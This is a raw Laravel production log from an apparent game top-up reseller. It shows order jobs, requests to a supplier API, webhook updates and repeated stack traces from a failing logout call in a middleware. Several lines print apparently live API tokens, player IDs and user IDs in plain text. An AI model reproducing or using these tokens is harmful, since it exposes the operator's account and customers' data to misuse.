#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:20:22] production.INFO: Constructing job for order: 179464  
[2026-03-24 22:20:23] production.INFO: Handling job for order: 179464  
[2026-03-24 22:20:23] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:20:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:20:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=2a0d3f4d-0398-4af0-8723-5d9069d3d157&Player_ID=0959165728  
[2026-03-24 22:20:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=2a0d3f4d-0398-4af0-8723-5d9069d3d157&Player_ID=0959165728","has_body":false} 
[2026-03-24 22:20:23] production.INFO: Operation sent successfully {"operation_id":164334,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ZNlTOl-1774380023","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 22:20:23"}},"processed_data":{"order_number":"ORD-ZNlTOl-1774380023","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 22:20:31] production.INFO: Constructing job for order: 179465  
[2026-03-24 22:20:32] production.INFO: Handling job for order: 179465  
[2026-03-24 22:20:32] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:20:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:20:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=88d8089f-56ed-431c-b01e-68dbec0e4ccf&Player_ID=0959165728  
[2026-03-24 22:20:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=88d8089f-56ed-431c-b01e-68dbec0e4ccf&Player_ID=0959165728","has_body":false} 
[2026-03-24 22:20:33] production.INFO: Operation sent successfully {"operation_id":164335,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-CW4R3Wj-1774380033","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 22:20:33"}},"processed_data":{"order_number":"ORD-CW4R3Wj-1774380033","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 22:20:33] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:20:39] production.INFO: Constructing job for order: 179466  
[2026-03-24 22:20:41] production.INFO: Constructing job for order: 179467  
[2026-03-24 22:20:42] production.INFO: Handling job for order: 179466  
[2026-03-24 22:20:42] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:20:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:20:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=9349bf46-ad92-47bc-aa16-806577356a8c&Player_ID=0959165728  
[2026-03-24 22:20:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=9349bf46-ad92-47bc-aa16-806577356a8c&Player_ID=0959165728","has_body":false} 
[2026-03-24 22:20:43] production.INFO: Operation sent successfully {"operation_id":164336,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-o7E2No-1774380043","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 22:20:43"}},"processed_data":{"order_number":"ORD-o7E2No-1774380043","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 22:20:43] production.INFO: Handling job for order: 179467  
[2026-03-24 22:20:43] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:20:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:20:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=afda6522-55aa-450c-841b-c80d65c4ce51&Player_ID=5383496384  
[2026-03-24 22:20:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=afda6522-55aa-450c-841b-c80d65c4ce51&Player_ID=5383496384","has_body":false} 
[2026-03-24 22:20:44] production.INFO: Operation sent successfully {"operation_id":164337,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-fWkVVYC-1774380043","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:20:44"}},"processed_data":{"order_number":"ORD-fWkVVYC-1774380043","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 22:20:44] production.INFO: Constructing job for order: 179468  
[2026-03-24 22:20:47] production.INFO: Handling job for order: 179468  
[2026-03-24 22:20:47] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:20:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:20:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=23c79fe2-93ea-4b78-8509-35680fd388a1&Player_ID=5383496384  
[2026-03-24 22:20:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=23c79fe2-93ea-4b78-8509-35680fd388a1&Player_ID=5383496384","has_body":false} 
[2026-03-24 22:20:48] production.INFO: Operation sent successfully {"operation_id":164338,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-bhS9VO9-1774380047","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:20:48"}},"processed_data":{"order_number":"ORD-bhS9VO9-1774380047","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 22:20:57] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-bhS9VO9-1774380047","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:20:57] production.INFO: Processed webhook data (normalized) {"id":"ORD-bhS9VO9-1774380047","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:20:57] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:20:57] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-fWkVVYC-1774380043","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:20:57] production.INFO: Processed webhook data (normalized) {"id":"ORD-fWkVVYC-1774380043","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:20:57] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:20:57] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179468} 
[2026-03-24 22:20:57] production.INFO: Order updated successfully. Order ID: 179468, Status: completed  
[2026-03-24 22:20:57] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-bhS9VO9-1774380047","status":"completed","codes_count":0} 
[2026-03-24 22:20:57] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179467} 
[2026-03-24 22:20:57] production.INFO: Order updated successfully. Order ID: 179467, Status: completed  
[2026-03-24 22:20:57] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-fWkVVYC-1774380043","status":"completed","codes_count":0} 
[2026-03-24 22:20:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 22:20:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 22:21:08] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
